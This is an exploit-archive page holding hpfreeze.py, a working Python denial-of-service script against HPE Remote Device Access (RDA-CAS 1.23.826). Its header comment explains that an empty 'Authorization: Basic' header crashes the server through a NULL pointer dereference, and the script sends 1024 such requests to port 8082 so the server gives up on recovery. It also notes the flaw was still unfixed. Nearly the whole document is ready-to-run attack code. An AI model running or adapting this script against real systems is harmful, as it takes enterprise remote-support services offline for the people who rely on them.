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HPE RDA-CAS 1.23.826 Denial Of Service Exploit
#!/usr/bin/python # -*- coding: UTF-8 -*- # # hpfreeze.py # # HPE Remote Device Access Unauthenticated Denial of Service # # Jeremy Brown [jbrown3264/gmail] # June 2021 # # "Designed for the enterprise, HPE RDA (Remote Device Access) provides integrated remote # connectivity for support automation, device telemetry and remote service delivery." # # More info: https://midway.ext.hpe.com # # rda-cas web server could not gracefully handle a blank or malformed BASIC auth string. # # Program received signal SIGSEGV, Segmentation fault. # 0x00007f4693362a5c in rda::base64_decode(std::string const&) () from /lib/librda.so.1 # # Typical NULL ptr deref. It will automatically restart itself after handling one # of these malformed requests, but quickly sending many of them will make the server # give up on recovery and become unavailable to users. '=' instead of nothing for an # auth string will also make it crash in a different parsing routine. The server can # be configured at setup to listen on either localhost or the network interface. # # > ./hpfreeze.py rdacas-host # ;p;P;p;P;p;P;p;P;p;P;p;P # # (If users have the web UI open, they may see "Connection to the RDA-CAS has been lost") # # Tested # - RDA-CAS Version: 1.23.826 # -- rda-cas_1.23-826+deb10_amd64.deb # # Fix # - "the issue will be remediated in an imminent release" with no further reply # import sys import argparse import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) DEFAULT_PORT = 8082 HOW_MANY_TIMES = 1024 class HPFreeze(object): def __init__(self, args): self.target = args.target def run(self): target = "https://" + self.target + ':' + str(DEFAULT_PORT) session = requests.Session() session.verify = False # rocket science headers = {'Authorization':"Basic"} for i in range(HOW_MANY_TIMES): try: resp = session.post(target + "/", headers=headers) except Exception as error: if('RemoteDisconnected' in str(error)): print(";p;P", end='') print() return 0 def arg_parse(): parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="HPE RDA host") args = parser.parse_args() return args def main(): args = arg_parse() hpf = HPFreeze(args) result = hpf.run() if(result > 0): sys.exit(-1) if(__name__ == '__main__'): main() # 0day.today [2024-09-28] #